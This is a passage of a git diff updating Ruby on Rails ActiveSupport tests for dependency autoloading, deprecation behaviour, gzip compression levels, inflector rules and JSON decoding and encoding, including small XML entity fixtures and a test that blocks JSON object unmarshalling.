assert_nil ActiveSupport::Dependencies.remove_constant(constant), "Kernel#autoload has been triggered by remove_constant"
- assert !defined?(ShouldNotBeAutoloaded)
+ assert_not defined?(ShouldNotBeAutoloaded)
+ ensure
+ remove_constants(constant)
end
def test_remove_constant_does_not_autoload_already_removed_parents_as_a_side_effect
with_autoloading_fixtures do
- silence_warnings do
- ::A
- ::A::B
- end
+ _ = ::A # assignment to silence parse-time warning "possibly useless use of :: in void context"
+ _ = ::A::B # assignment to silence parse-time warning "possibly useless use of :: in void context"
ActiveSupport::Dependencies.remove_constant('A')
ActiveSupport::Dependencies.remove_constant('A::B')
- assert !defined?(A)
+ assert_not defined?(A)
end
+ ensure
+ remove_constants(:A)
end
def test_load_once_constants_should_not_be_unloaded
+ old_path = ActiveSupport::Dependencies.autoload_once_paths
with_autoloading_fixtures do
ActiveSupport::Dependencies.autoload_once_paths = ActiveSupport::Dependencies.autoload_paths
- silence_warnings do
- ::A
- end
+ _ = ::A # assignment to silence parse-time warning "possibly useless use of :: in void context"
assert defined?(A)
ActiveSupport::Dependencies.clear
assert defined?(A)
end
ensure
- ActiveSupport::Dependencies.autoload_once_paths = []
- Object.class_eval { remove_const :A if const_defined?(:A) }
+ ActiveSupport::Dependencies.autoload_once_paths = old_path
+ remove_constants(:A)
+ end
+
+ def test_access_unloaded_constants_for_reload
+ with_autoloading_fixtures do
+ assert_kind_of Module, A
+ assert_kind_of Class, A::B # Necessary to load A::B for the test
+ ActiveSupport::Dependencies.mark_for_unload(A::B)
+ ActiveSupport::Dependencies.remove_unloadable_constants!
+
+ A::B # Make sure no circular dependency error
+ end
+ ensure
+ remove_constants(:A)
end
+
def test_autoload_once_paths_should_behave_when_recursively_loading
+ old_path = ActiveSupport::Dependencies.autoload_once_paths
with_loading 'dependencies', 'autoloading_fixtures' do
ActiveSupport::Dependencies.autoload_once_paths = [ActiveSupport::Dependencies.autoload_paths.last]
- assert !defined?(CrossSiteDependency)
+ assert_not defined?(CrossSiteDependency)
assert_nothing_raised { CrossSiteDepender.nil? }
assert defined?(CrossSiteDependency)
- assert !ActiveSupport::Dependencies.autoloaded?(CrossSiteDependency),
+ assert_not ActiveSupport::Dependencies.autoloaded?(CrossSiteDependency),
"CrossSiteDependency shouldn't be marked as autoloaded!"
ActiveSupport::Dependencies.clear
assert defined?(CrossSiteDependency),
"CrossSiteDependency shouldn't have been unloaded!"
end
ensure
- ActiveSupport::Dependencies.autoload_once_paths = []
+ ActiveSupport::Dependencies.autoload_once_paths = old_path
+ remove_constants(:CrossSiteDependency)
end
def test_hook_called_multiple_times
assert_nothing_raised { ActiveSupport::Dependencies.hook! }
end
+ def test_load_and_require_stay_private
+ assert Object.private_methods.include?(:load)
+ assert Object.private_methods.include?(:require)
+
+ ActiveSupport::Dependencies.unhook!
+
+ assert Object.private_methods.include?(:load)
+ assert Object.private_methods.include?(:require)
+ ensure
+ ActiveSupport::Dependencies.hook!
+ end
+
def test_unhook
ActiveSupport::Dependencies.unhook!
assert !Module.new.respond_to?(:const_missing_without_dependencies)
@@ -975,11 +1056,4 @@ class DependenciesTest < ActiveSupport::TestCase
ensure
ActiveSupport::Dependencies.hook!
end
-
-private
- def remove_constants(*constants)
- constants.each do |constant|
- Object.send(:remove_const, constant) if Object.const_defined?(constant)
- end
- end
end
diff --git a/activesupport/test/dependencies_test_helpers.rb b/activesupport/test/dependencies_test_helpers.rb
new file mode 100644
index 0000000000..e4d5197112
--- /dev/null
+++ b/activesupport/test/dependencies_test_helpers.rb
@@ -0,0 +1,28 @@
+module DependenciesTestHelpers
+ def with_loading(*from)
+ old_mechanism, ActiveSupport::Dependencies.mechanism = ActiveSupport::Dependencies.mechanism, :load
+ this_dir = File.dirname(__FILE__)
+ parent_dir = File.dirname(this_dir)
+ path_copy = $LOAD_PATH.dup
+ $LOAD_PATH.unshift(parent_dir) unless $LOAD_PATH.include?(parent_dir)
+ prior_autoload_paths = ActiveSupport::Dependencies.autoload_paths
+ ActiveSupport::Dependencies.autoload_paths = from.collect { |f| "#{this_dir}/#{f}" }
+ yield
+ ensure
+ $LOAD_PATH.replace(path_copy)
+ ActiveSupport::Dependencies.autoload_paths = prior_autoload_paths
+ ActiveSupport::Dependencies.mechanism = old_mechanism
+ ActiveSupport::Dependencies.explicitly_unloadable_constants = []
+ ActiveSupport::Dependencies.clear
+ end
+
+ def with_autoloading_fixtures(&block)
+ with_loading 'autoloading_fixtures', &block
+ end
+
+ def remove_constants(*constants)
+ constants.each do |constant|
+ Object.send(:remove_const, constant) if Object.const_defined?(constant)
+ end
+ end
+end \ No newline at end of file
diff --git a/activesupport/test/deprecation_test.rb b/activesupport/test/deprecation_test.rb
index 332100f5a1..7aff56cbad 100644
--- a/activesupport/test/deprecation_test.rb
+++ b/activesupport/test/deprecation_test.rb
@@ -75,6 +75,11 @@ class DeprecationTest < ActiveSupport::TestCase
end
end
+ def test_deprecate_object
+ deprecated_object = ActiveSupport::Deprecation::DeprecatedObjectProxy.new(Object.new, ':bomb:')
+ assert_deprecated(/:bomb:/) { deprecated_object.to_s }
+ end
+
def test_nil_behavior_is_ignored
ActiveSupport::Deprecation.behavior = nil
assert_deprecated(/foo=nil/) { @dtc.partially }
@@ -93,6 +98,19 @@ class DeprecationTest < ActiveSupport::TestCase
assert_match(/foo=nil/, @b)
end
+ def test_raise_behaviour
+ ActiveSupport::Deprecation.behavior = :raise
+
+ message = 'Revise this deprecated stuff now!'
+ callstack = %w(foo bar baz)
+
+ e = assert_raise ActiveSupport::DeprecationException do
+ ActiveSupport::Deprecation.behavior.first.call(message, callstack)
+ end
+ assert_equal message, e.message
+ assert_equal callstack, e.backtrace
+ end
+
def test_default_stderr_behavior
ActiveSupport::Deprecation.behavior = :stderr
behavior = ActiveSupport::Deprecation.behavior.first
@@ -119,9 +137,10 @@ class DeprecationTest < ActiveSupport::TestCase
ActiveSupport::Deprecation.behavior = :silence
behavior = ActiveSupport::Deprecation.behavior.first
- assert_blank capture(:stderr) {
+ stderr_output = capture(:stderr) {
assert_nil behavior.call('Some error!', ['call stack!'])
}
+ assert stderr_output.blank?
end
def test_deprecated_instance_variable_proxy
@@ -138,6 +157,7 @@ class DeprecationTest < ActiveSupport::TestCase
def test_deprecated_constant_proxy
assert_not_deprecated { Deprecatee::B::C }
assert_deprecated('Deprecatee::A') { assert_equal Deprecatee::B::C, Deprecatee::A }
+ assert_not_deprecated { assert_equal Deprecatee::B::C.class, Deprecatee::A.class }
end
def test_assert_deprecation_without_match
@@ -151,7 +171,7 @@ class DeprecationTest < ActiveSupport::TestCase
ActiveSupport::Deprecation.warn 'abc'
ActiveSupport::Deprecation.warn 'def'
end
- rescue MiniTest::Assertion
+ rescue Minitest::Assertion
flunk 'assert_deprecated should match any warning in block, not just the last one'
end
@@ -254,10 +274,10 @@ class DeprecationTest < ActiveSupport::TestCase
klass::OLD.to_s
end
end
-
+
def test_deprecated_instance_variable_with_instance_deprecator
deprecator = deprecator_with_messages
-
+
klass = Class.new() do
def initialize(deprecator)
@request = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(self, :request, :@request, deprecator)
@@ -335,4 +355,21 @@ class DeprecationTest < ActiveSupport::TestCase
end
deprecator
end
+
+ def capture(stream)
+ stream = stream.to_s
+ captured_stream = Tempfile.new(stream)
+ stream_io = eval("$#{stream}")
+ origin_stream = stream_io.dup
+ stream_io.reopen(captured_stream)
+
+ yield
+
+ stream_io.rewind
+ return captured_stream.read
+ ensure
+ captured_stream.close
+ captured_stream.unlink
+ stream_io.reopen(origin_stream)
+ end
end
diff --git a/activesupport/test/descendants_tracker_with_autoloading_test.rb b/activesupport/test/descendants_tracker_with_autoloading_test.rb
index ab1be296f8..a2ae066a21 100644
--- a/activesupport/test/descendants_tracker_with_autoloading_test.rb
+++ b/activesupport/test/descendants_tracker_with_autoloading_test.rb
@@ -6,7 +6,7 @@ require 'descendants_tracker_test_cases'
class DescendantsTrackerWithAutoloadingTest < ActiveSupport::TestCase
include DescendantsTrackerTestCases
- def test_clear_with_autoloaded_parent_children_and_granchildren
+ def test_clear_with_autoloaded_parent_children_and_grandchildren
mark_as_autoloaded(*ALL) do
ActiveSupport::DescendantsTracker.clear
ALL.each do |k|
@@ -15,7 +15,7 @@ class DescendantsTrackerWithAutoloadingTest < ActiveSupport::TestCase
end
end
- def test_clear_with_autoloaded_children_and_granchildren
+ def test_clear_with_autoloaded_children_and_grandchildren
mark_as_autoloaded Child1, Grandchild1, Grandchild2 do
ActiveSupport::DescendantsTracker.clear
assert_equal_sets [Child2], Parent.descendants
@@ -23,7 +23,7 @@ class DescendantsTrackerWithAutoloadingTest < ActiveSupport::TestCase
end
end
- def test_clear_with_autoloaded_granchildren
+ def test_clear_with_autoloaded_grandchildren
mark_as_autoloaded Grandchild1, Grandchild2 do
ActiveSupport::DescendantsTracker.clear
assert_equal_sets [Child1, Child2], Parent.descendants
diff --git a/activesupport/test/descendants_tracker_without_autoloading_test.rb b/activesupport/test/descendants_tracker_without_autoloading_test.rb
index 74669aaca1..00b449af51 100644
--- a/activesupport/test/descendants_tracker_without_autoloading_test.rb
+++ b/activesupport/test/descendants_tracker_without_autoloading_test.rb
@@ -4,4 +4,14 @@ require 'descendants_tracker_test_cases'
class DescendantsTrackerWithoutAutoloadingTest < ActiveSupport::TestCase
include DescendantsTrackerTestCases
+
+ # Regression test for #8422. https://github.com/rails/rails/issues/8442
+ def test_clear_without_autoloaded_singleton_parent
+ mark_as_autoloaded do
+ parent_instance = Parent.new
+ parent_instance.singleton_class.descendants
+ ActiveSupport::DescendantsTracker.clear
+ assert !ActiveSupport::DescendantsTracker.class_variable_get(:@@direct_descendants).key?(parent_instance.singleton_class)
+ end
+ end
end
diff --git a/activesupport/test/empty_bool.rb b/activesupport/test/empty_bool.rb
deleted file mode 100644
index 005b3523ef..0000000000
--- a/activesupport/test/empty_bool.rb
+++ /dev/null
@@ -1,7 +0,0 @@
-class EmptyTrue
- def empty?() true; end
-end
-
-class EmptyFalse
- def empty?() false; end
-end
diff --git a/activesupport/test/fixtures/custom.rb b/activesupport/test/fixtures/custom.rb
deleted file mode 100644
index 0eefce0c25..0000000000
--- a/activesupport/test/fixtures/custom.rb
+++ /dev/null
@@ -1,2 +0,0 @@
-class Custom
-end \ No newline at end of file
diff --git a/activesupport/test/fixtures/xml/jdom_doctype.dtd b/activesupport/test/fixtures/xml/jdom_doctype.dtd
new file mode 100644
index 0000000000..89480496ef
--- /dev/null
+++ b/activesupport/test/fixtures/xml/jdom_doctype.dtd
@@ -0,0 +1 @@
+<!ENTITY a "external entity">
diff --git a/activesupport/test/fixtures/xml/jdom_entities.txt b/activesupport/test/fixtures/xml/jdom_entities.txt
new file mode 100644
index 0000000000..0337fdaa08
--- /dev/null
+++ b/activesupport/test/fixtures/xml/jdom_entities.txt
@@ -0,0 +1 @@
+<!ENTITY a "hello">
diff --git a/activesupport/test/fixtures/xml/jdom_include.txt b/activesupport/test/fixtures/xml/jdom_include.txt
new file mode 100644
index 0000000000..239ca3afaf
--- /dev/null
+++ b/activesupport/test/fixtures/xml/jdom_include.txt
@@ -0,0 +1 @@
+include me
diff --git a/activesupport/test/gzip_test.rb b/activesupport/test/gzip_test.rb
index 75a0505899..0e3cf3b429 100644
--- a/activesupport/test/gzip_test.rb
+++ b/activesupport/test/gzip_test.rb
@@ -4,6 +4,12 @@ require 'active_support/core_ext/object/blank'
class GzipTest < ActiveSupport::TestCase
def test_compress_should_decompress_to_the_same_value
assert_equal "Hello World", ActiveSupport::Gzip.decompress(ActiveSupport::Gzip.compress("Hello World"))
+ assert_equal "Hello World", ActiveSupport::Gzip.decompress(ActiveSupport::Gzip.compress("Hello World", Zlib::NO_COMPRESSION))
+ assert_equal "Hello World", ActiveSupport::Gzip.decompress(ActiveSupport::Gzip.compress("Hello World", Zlib::BEST_SPEED))
+ assert_equal "Hello World", ActiveSupport::Gzip.decompress(ActiveSupport::Gzip.compress("Hello World", Zlib::BEST_COMPRESSION))
+ assert_equal "Hello World", ActiveSupport::Gzip.decompress(ActiveSupport::Gzip.compress("Hello World", nil, Zlib::FILTERED))
+ assert_equal "Hello World", ActiveSupport::Gzip.decompress(ActiveSupport::Gzip.compress("Hello World", nil, Zlib::HUFFMAN_ONLY))
+ assert_equal "Hello World", ActiveSupport::Gzip.decompress(ActiveSupport::Gzip.compress("Hello World", nil, nil))
end
def test_compress_should_return_a_binary_string
@@ -12,4 +18,16 @@ class GzipTest < ActiveSupport::TestCase
assert_equal Encoding.find('binary'), compressed.encoding
assert !compressed.blank?, "a compressed blank string should not be blank"
end
+
+ def test_compress_should_return_gzipped_string_by_compression_level
+ source_string = "Hello World"*100
+
+ gzipped_by_speed = ActiveSupport::Gzip.compress(source_string, Zlib::BEST_SPEED)
+ assert_equal 1, Zlib::GzipReader.new(StringIO.new(gzipped_by_speed)).level
+
+ gzipped_by_best_compression = ActiveSupport::Gzip.compress(source_string, Zlib::BEST_COMPRESSION)
+ assert_equal 9, Zlib::GzipReader.new(StringIO.new(gzipped_by_best_compression)).level
+
+ assert_equal true, (gzipped_by_best_compression.bytesize < gzipped_by_speed.bytesize)
+ end
end
diff --git a/activesupport/test/hash_with_indifferent_access_test.rb b/activesupport/test/hash_with_indifferent_access_test.rb
new file mode 100644
index 0000000000..843994147b
--- /dev/null
+++ b/activesupport/test/hash_with_indifferent_access_test.rb
@@ -0,0 +1,10 @@
+require 'abstract_unit'
+require 'active_support/hash_with_indifferent_access'
+
+class HashWithIndifferentAccessTest < ActiveSupport::TestCase
+ def test_reverse_merge
+ hash = HashWithIndifferentAccess.new key: :old_value
+ hash.reverse_merge! key: :new_value
+ assert_equal :old_value, hash[:key]
+ end
+end \ No newline at end of file
diff --git a/activesupport/test/i18n_test.rb b/activesupport/test/i18n_test.rb
index ddbba444cf..3faa15e7fd 100644
--- a/activesupport/test/i18n_test.rb
+++ b/activesupport/test/i18n_test.rb
@@ -62,7 +62,7 @@ class I18nTest < ActiveSupport::TestCase
end
def test_date_order
- assert_equal [:year, :month, :day], I18n.translate(:'date.order')
+ assert_equal %w(year month day), I18n.translate(:'date.order')
end
def test_time_am
@@ -99,7 +99,6 @@ class I18nTest < ActiveSupport::TestCase
end
def test_to_sentence_with_empty_i18n_store
- I18n.backend.store_translations 'empty', {}
assert_equal 'a, b, and c', %w[a b c].to_sentence(locale: 'empty')
end
end
diff --git a/activesupport/test/inflector_test.rb b/activesupport/test/inflector_test.rb
index aa41e57928..be68bb2e2e 100644
--- a/activesupport/test/inflector_test.rb
+++ b/activesupport/test/inflector_test.rb
@@ -61,9 +61,7 @@ class InflectorTest < ActiveSupport::TestCase
assert_equal(plural, ActiveSupport::Inflector.pluralize(plural))
assert_equal(plural.capitalize, ActiveSupport::Inflector.pluralize(plural.capitalize))
end
- end
- SingularToPlural.each do |singular, plural|
define_method "test_singularize_singular_#{singular}" do
assert_equal(singular, ActiveSupport::Inflector.singularize(singular))
assert_equal(singular.capitalize, ActiveSupport::Inflector.singularize(singular.capitalize))
@@ -72,15 +70,17 @@ class InflectorTest < ActiveSupport::TestCase
def test_overwrite_previous_inflectors
- assert_equal("series", ActiveSupport::Inflector.singularize("series"))
- ActiveSupport::Inflector.inflections.singular "series", "serie"
- assert_equal("serie", ActiveSupport::Inflector.singularize("series"))
- ActiveSupport::Inflector.inflections.uncountable "series" # Return to normal
+ with_dup do
+ assert_equal("series", ActiveSupport::Inflector.singularize("series"))
+ ActiveSupport::Inflector.inflections.singular "series", "serie"
+ assert_equal("serie", ActiveSupport::Inflector.singularize("series"))
+ end
end
- MixtureToTitleCase.each do |before, titleized|
- define_method "test_titleize_#{before}" do
- assert_equal(titleized, ActiveSupport::Inflector.titleize(before))
+ MixtureToTitleCase.each_with_index do |(before, titleized), index|
+ define_method "test_titleize_mixture_to_title_case_#{index}" do
+ assert_equal(titleized, ActiveSupport::Inflector.titleize(before), "mixture \
+ to TitleCase failed for #{before}")
end
end
@@ -120,10 +120,14 @@ class InflectorTest < ActiveSupport::TestCase
["SSLError", "ssl_error", "SSL error", "SSL Error"],
["RESTful", "restful", "RESTful", "RESTful"],
["RESTfulController", "restful_controller", "RESTful controller", "RESTful Controller"],
+ ["Nested::RESTful", "nested/restful", "Nested/RESTful", "Nested/RESTful"],
["IHeartW3C", "i_heart_w3c", "I heart W3C", "I Heart W3C"],
["PhDRequired", "phd_required", "PhD required", "PhD Required"],
["IRoRU", "i_ror_u", "I RoR u", "I RoR U"],
["RESTfulHTTPAPI", "restful_http_api", "RESTful HTTP API", "RESTful HTTP API"],
+ ["HTTP::RESTful", "http/restful", "HTTP/RESTful", "HTTP/RESTful"],
+ ["HTTP::RESTfulAPI", "http/restful_api", "HTTP/RESTful API", "HTTP/RESTful API"],
+ ["APIRESTful", "api_restful", "API RESTful", "API RESTful"],
# misdirection
["Capistrano", "capistrano", "Capistrano", "Capistrano"],
@@ -200,6 +204,7 @@ class InflectorTest < ActiveSupport::TestCase
def test_demodulize
assert_equal "Account", ActiveSupport::Inflector.demodulize("MyApplication::Billing::Account")
assert_equal "Account", ActiveSupport::Inflector.demodulize("Account")
+ assert_equal "Account", ActiveSupport::Inflector.demodulize("::Account")
assert_equal "", ActiveSupport::Inflector.demodulize("")
end
@@ -231,25 +236,35 @@ class InflectorTest < ActiveSupport::TestCase
end
end
+# FIXME: get following tests to pass on jruby, currently skipped
+#
+# Currently this fails because ActiveSupport::Multibyte::Unicode#tidy_bytes
+# required a specific Encoding::Converter(UTF-8 to UTF8-MAC) which unavailable on JRuby
+# causing our tests to error out.
+# related bug http://jira.codehaus.org/browse/JRUBY-7194
def test_parameterize
+ jruby_skip "UTF-8 to UTF8-MAC Converter is unavailable"
StringToParameterized.each do |some_string, parameterized_string|
assert_equal(parameterized_string, ActiveSupport::Inflector.parameterize(some_string))
end
end
def test_parameterize_and_normalize
+ jruby_skip "UTF-8 to UTF8-MAC Converter is unavailable"
StringToParameterizedAndNormalized.each do |some_string, parameterized_string|
assert_equal(parameterized_string, ActiveSupport::Inflector.parameterize(some_string))
end
end
def test_parameterize_with_custom_separator
+ jruby_skip "UTF-8 to UTF8-MAC Converter is unavailable"
StringToParameterizeWithUnderscore.each do |some_string, parameterized_string|
assert_equal(parameterized_string, ActiveSupport::Inflector.parameterize(some_string, '_'))
end
end
def test_parameterize_with_multi_character_separator
+ jruby_skip "UTF-8 to UTF8-MAC Converter is unavailable"
StringToParameterized.each do |some_string, parameterized_string|
assert_equal(parameterized_string.gsub('-', '__sep__'), ActiveSupport::Inflector.parameterize(some_string, '__sep__'))
end
@@ -278,6 +293,12 @@ class InflectorTest < ActiveSupport::TestCase
end
end
+ def test_humanize_without_capitalize
+ UnderscoreToHumanWithoutCapitalize.each do |underscore, human|
+ assert_equal(human, ActiveSupport::Inflector.humanize(underscore, capitalize: false))
+ end
+ end
+
def test_humanize_by_rule
ActiveSupport::Inflector.inflections do |inflect|
inflect.human(/_cnt$/i, '\1_count')
@@ -326,7 +347,7 @@ class InflectorTest < ActiveSupport::TestCase
end
def test_underscore_as_reverse_of_dasherize
- UnderscoresToDashes.each do |underscored, dasherized|
+ UnderscoresToDashes.each_key do |underscored|
assert_equal(underscored, ActiveSupport::Inflector.underscore(ActiveSupport::Inflector.dasherize(underscored)))
end
end
@@ -361,7 +382,7 @@ class InflectorTest < ActiveSupport::TestCase
inflect.singular(/s$/, '')
inflect.singular(/es$/, '')
-
+
inflect.irregular('el', 'los')
end
@@ -421,33 +442,36 @@ class InflectorTest < ActiveSupport::TestCase
end
end
- Irregularities.each do |irregularity|
- singular, plural = *irregularity
- ActiveSupport::Inflector.inflections do |inflect|
- define_method("test_irregularity_between_#{singular}_and_#{plural}") do
- inflect.irregular(singular, plural)
- assert_equal singular, ActiveSupport::Inflector.singularize(plural)
- assert_equal plural, ActiveSupport::Inflector.pluralize(singular)
+ Irregularities.each do |singular, plural|
+ define_method("test_irregularity_between_#{singular}_and_#{plural}") do
+ with_dup do
+ ActiveSupport::Inflector.inflections do |inflect|
+ inflect.irregular(singular, plural)
+ assert_equal singular, ActiveSupport::Inflector.singularize(plural)
+ assert_equal plural, ActiveSupport::Inflector.pluralize(singular)
+ end
end
end
end
- Irregularities.each do |irregularity|
- singular, plural = *irregularity
- ActiveSupport::Inflector.inflections do |inflect|
- define_method("test_pluralize_of_irregularity_#{plural}_should_be_the_same") do
- inflect.irregular(singular, plural)
- assert_equal plural, ActiveSupport::Inflector.pluralize(plural)
+ Irregularities.each do |singular, plural|
+ define_method("test_pluralize_of_irregularity_#{plural}_should_be_the_same") do
+ with_dup do
+ ActiveSupport::Inflector.inflections do |inflect|
+ inflect.irregular(singular, plural)
+ assert_equal plural, ActiveSupport::Inflector.pluralize(plural)
+ end
end
end
end
- Irregularities.each do |irregularity|
- singular, plural = *irregularity
- ActiveSupport::Inflector.inflections do |inflect|
- define_method("test_singularize_of_irregularity_#{singular}_should_be_the_same") do
- inflect.irregular(singular, plural)
- assert_equal singular, ActiveSupport::Inflector.singularize(singular)
+ Irregularities.each do |singular, plural|
+ define_method("test_singularize_of_irregularity_#{singular}_should_be_the_same") do
+ with_dup do
+ ActiveSupport::Inflector.inflections do |inflect|
+ inflect.irregular(singular, plural)
+ assert_equal singular, ActiveSupport::Inflector.singularize(singular)
+ end
end
end
end
@@ -466,8 +490,8 @@ class InflectorTest < ActiveSupport::TestCase
assert_equal [], inflect.uncountables
# restore all the inflections
- singulars.reverse.each { |singular| inflect.singular(*singular) }
- plurals.reverse.each { |plural| inflect.plural(*plural) }
+ singulars.reverse_each { |singular| inflect.singular(*singular) }
+ plurals.reverse_each { |plural| inflect.plural(*plural) }
inflect.uncountable(uncountables)
assert_equal singulars, inflect.singulars
@@ -478,10 +502,10 @@ class InflectorTest < ActiveSupport::TestCase
end
%w(plurals singulars uncountables humans acronyms).each do |scope|
- ActiveSupport::Inflector.inflections do |inflect|
- define_method("test_clear_inflections_with_#{scope}") do
- with_dup do
- # clear the inflections
+ define_method("test_clear_inflections_with_#{scope}") do
+ with_dup do
+ # clear the inflections
+ ActiveSupport::Inflector.inflections do |inflect|
inflect.clear(scope)
assert_equal [], inflect.send(scope)
end
@@ -489,6 +513,14 @@ class InflectorTest < ActiveSupport::TestCase
end
end
+ def test_inflections_with_uncountable_words
+ ActiveSupport::Inflector.inflections do |inflect|
+ inflect.uncountable "HTTP"
+ end
+
+ assert_equal "HTTP", ActiveSupport::Inflector.pluralize("HTTP")
+ end
+
# Dups the singleton and yields, restoring the original inflections later.
# Use this in tests what modify the state of the singleton.
#
@@ -496,9 +528,10 @@ class InflectorTest < ActiveSupport::TestCase
# there are module functions that access ActiveSupport::Inflector.inflections,
# so we need to replace the singleton itself.
def with_dup
- original = ActiveSupport::Inflector::Inflections.instance_variable_get(:@__instance__)
- ActiveSupport::Inflector::Inflections.instance_variable_set(:@__instance__, original.dup)
+ original = ActiveSupport::Inflector::Inflections.instance_variable_get(:@__instance__)[:en]
+ ActiveSupport::Inflector::Inflections.instance_variable_set(:@__instance__, en: original.dup)
+ yield
ensure
- ActiveSupport::Inflector::Inflections.instance_variable_set(:@__instance__, original)
+ ActiveSupport::Inflector::Inflections.instance_variable_set(:@__instance__, en: original)
end
end
diff --git a/activesupport/test/inflector_test_cases.rb b/activesupport/test/inflector_test_cases.rb
index ca4efd2e59..3770f00fe3 100644
--- a/activesupport/test/inflector_test_cases.rb
+++ b/activesupport/test/inflector_test_cases.rb
@@ -63,6 +63,7 @@ module InflectorTestCases
"news" => "news",
"series" => "series",
+ "miniseries" => "miniseries",
"species" => "species",
"quiz" => "quizzes",
@@ -105,7 +106,6 @@ module InflectorTestCases
"prize" => "prizes",
"edge" => "edges",
- "cow" => "kine",
"database" => "databases",
# regression tests against improper inflection regexes
@@ -141,6 +141,7 @@ module InflectorTestCases
"HTMLTidyGenerator" => "html_tidy_generator",
"FreeBSD" => "free_bsd",
"HTML" => "html",
+ "ForceXMLController" => "force_xml_controller",
}
CamelWithModuleToUnderscoreWithSlash = {
@@ -208,9 +209,17 @@ module InflectorTestCases
}
UnderscoreToHuman = {
- "employee_salary" => "Employee salary",
- "employee_id" => "Employee",
- "underground" => "Underground"
+ 'employee_salary' => 'Employee salary',
+ 'employee_id' => 'Employee',
+ 'underground' => 'Underground',
+ '_id' => 'Id',
+ '_external_id' => 'External'
+ }
+
+ UnderscoreToHumanWithoutCapitalize = {
+ "employee_salary" => "employee salary",
+ "employee_id" => "employee",
+ "underground" => "underground"
}
MixtureToTitleCase = {
@@ -308,7 +317,8 @@ module InflectorTestCases
'child' => 'children',
'sex' => 'sexes',
'move' => 'moves',
- 'cow' => 'kine',
+ 'cow' => 'kine', # Test inflections with different starting letters
'zombie' => 'zombies',
+ 'genus' => 'genera'
}
end
diff --git a/activesupport/test/json/decoding_test.rb b/activesupport/test/json/decoding_test.rb
index d1454902e5..80bf255080 100644
--- a/activesupport/test/json/decoding_test.rb
+++ b/activesupport/test/json/decoding_test.rb
@@ -4,6 +4,12 @@ require 'active_support/json'
require 'active_support/time'
class TestJSONDecoding < ActiveSupport::TestCase
+ class Foo
+ def self.json_create(object)
+ "Foo"
+ end
+ end
+
TESTS = {
%q({"returnTo":{"\/categories":"\/"}}) => {"returnTo" => {"/categories" => "/"}},
%q({"return\\"To\\":":{"\/categories":"\/"}}) => {"return\"To\":" => {"/categories" => "/"}},
@@ -52,36 +58,56 @@ class TestJSONDecoding < ActiveSupport::TestCase
# tests escaping of "\n" char with Yaml backend
%q({"a":"\n"}) => {"a"=>"\n"},
%q({"a":"\u000a"}) => {"a"=>"\n"},
- %q({"a":"Line1\u000aLine2"}) => {"a"=>"Line1\nLine2"}
+ %q({"a":"Line1\u000aLine2"}) => {"a"=>"Line1\nLine2"},
+ # prevent json unmarshalling
+ %q({"json_class":"TestJSONDecoding::Foo"}) => {"json_class"=>"TestJSONDecoding::Foo"},
+ # json "fragments" - these are invalid JSON, but ActionPack relies on this
+ %q("a string") => "a string",
+ %q(1.1) => 1.1,
+ %q(1) => 1,
+ %q(-1) => -1,
+ %q(true) => true,
+ %q(false) => false,
+ %q(null) => nil
}
- backends = [:ok_json]
- backends << :json_gem if defined?(::JSON)
- backends << :yajl if defined?(::Yajl)
-
- backends.each do |backend|
- TESTS.each do |json, expected|
- test "json decodes #{json} with the #{backend} backend" do
- ActiveSupport.parse_json_times = true
+ TESTS.each_with_index do |(json, expected), index|
+ test "json decodes #{index}" do
+ with_parse_json_times(true) do
silence_warnings do
- ActiveSupport::JSON.with_backend backend do
- assert_equal expected, ActiveSupport::JSON.decode(json)
- end
+ assert_equal expected, ActiveSupport::JSON.decode(json), "JSON decoding \
+ failed for #{json}"
end
end
end
+ end
- test "json decodes time json with time parsing disabled with the #{backend} backend" do
- ActiveSupport.parse_json_times = false
+ test "json decodes time json with time parsing disabled" do
+ with_parse_json_times(false) do
expected = {"a" => "2007-01-01 01:12:34 Z"}
- ActiveSupport::JSON.with_backend backend do
- assert_equal expected, ActiveSupport::JSON.decode(%({"a": "2007-01-01 01:12:34 Z"}))
- end
+ assert_equal expected, ActiveSupport::JSON.decode(%({"a": "2007-01-01 01:12:34 Z"}))
end
end
def test_failed_json_decoding
+ assert_raise(ActiveSupport::JSON.parse_error) { ActiveSupport::JSON.decode(%(undefined)) }
+ assert_raise(ActiveSupport::JSON.parse_error) { ActiveSupport::JSON.decode(%({a: 1})) }
assert_raise(ActiveSupport::JSON.parse_error) { ActiveSupport::JSON.decode(%({: 1})) }
+ assert_raise(ActiveSupport::JSON.parse_error) { ActiveSupport::JSON.decode(%()) }
+ end
+
+ def test_cannot_pass_unsupported_options
+ assert_raise(ArgumentError) { ActiveSupport::JSON.decode("", create_additions: true) }
+ end
+
+ private
+
+ def with_parse_json_times(value)
+ old_value = ActiveSupport.parse_json_times
+ ActiveSupport.parse_json_times = value
+ yield
+ ensure
+ ActiveSupport.parse_json_times = old_value
end
end
diff --git a/activesupport/test/json/encoding_test.rb b/activesupport/test/json/encoding_test.rb
index 5bb2a45c87..7e976aa772 100644
--- a/activesupport/test/json/encoding_test.rb
+++ b/activesupport/test/json/encoding_test.rb
@@ -1,9 +1,14 @@
# encoding: utf-8
+require 'securerandom'
require 'abstract_unit'
require 'active_support/core_ext/string/inflections'
require 'active_support/json'
+require 'active_support/time'
+require 'time_zone_test_helpers'
class TestJSONEncoding < ActiveSupport::TestCase
+ include TimeZoneTestHelpers
+
class Foo
def initialize(a, b)
@a, @b = a, b
@@ -12,13 +17,17 @@ class TestJSONEncoding < ActiveSupport::TestCase
class Hashlike
def to_hash
- { :a => 1 }
+ { :foo => "hello", :bar => "world" }
end
end
class Custom
- def as_json(options)
- 'custom'
+ def initialize(serialized)
+ @serialized = serialized
+ end
+
+ def as_json(options = nil)
+ @serialized
end
end
@@ -31,6 +40,25 @@ class TestJSONEncoding < ActiveSupport::TestCase
end
end
+ class OptionsTest
+ def as_json(options = :default)
+ options
+ end
+ end
+
+ class HashWithAsJson < Hash
+ attr_accessor :as_json_called
+
+ def initialize(*)
+ super
+ end
+
+ def as_json(options={})
+ @as_json_called = true
+ super
+ end
+ end
+
TrueTests = [[ true, %(true) ]]
FalseTests = [[ false, %(false) ]]
NilTests = [[ nil, %(null) ]]
@@ -40,13 +68,13 @@ class TestJSONEncoding < ActiveSupport::TestCase
[ 1.0/0.0, %(null) ],
[ -1.0/0.0, %(null) ],
[ BigDecimal('0.0')/BigDecimal('0.0'), %(null) ],
- [ BigDecimal('2.5'), %("#{BigDecimal('2.5').to_s}") ]]
+ [ BigDecimal('2.5'), %("#{BigDecimal('2.5')}") ]]
- StringTests = [[ 'this is the <string>', %("this is the \\u003Cstring\\u003E")],
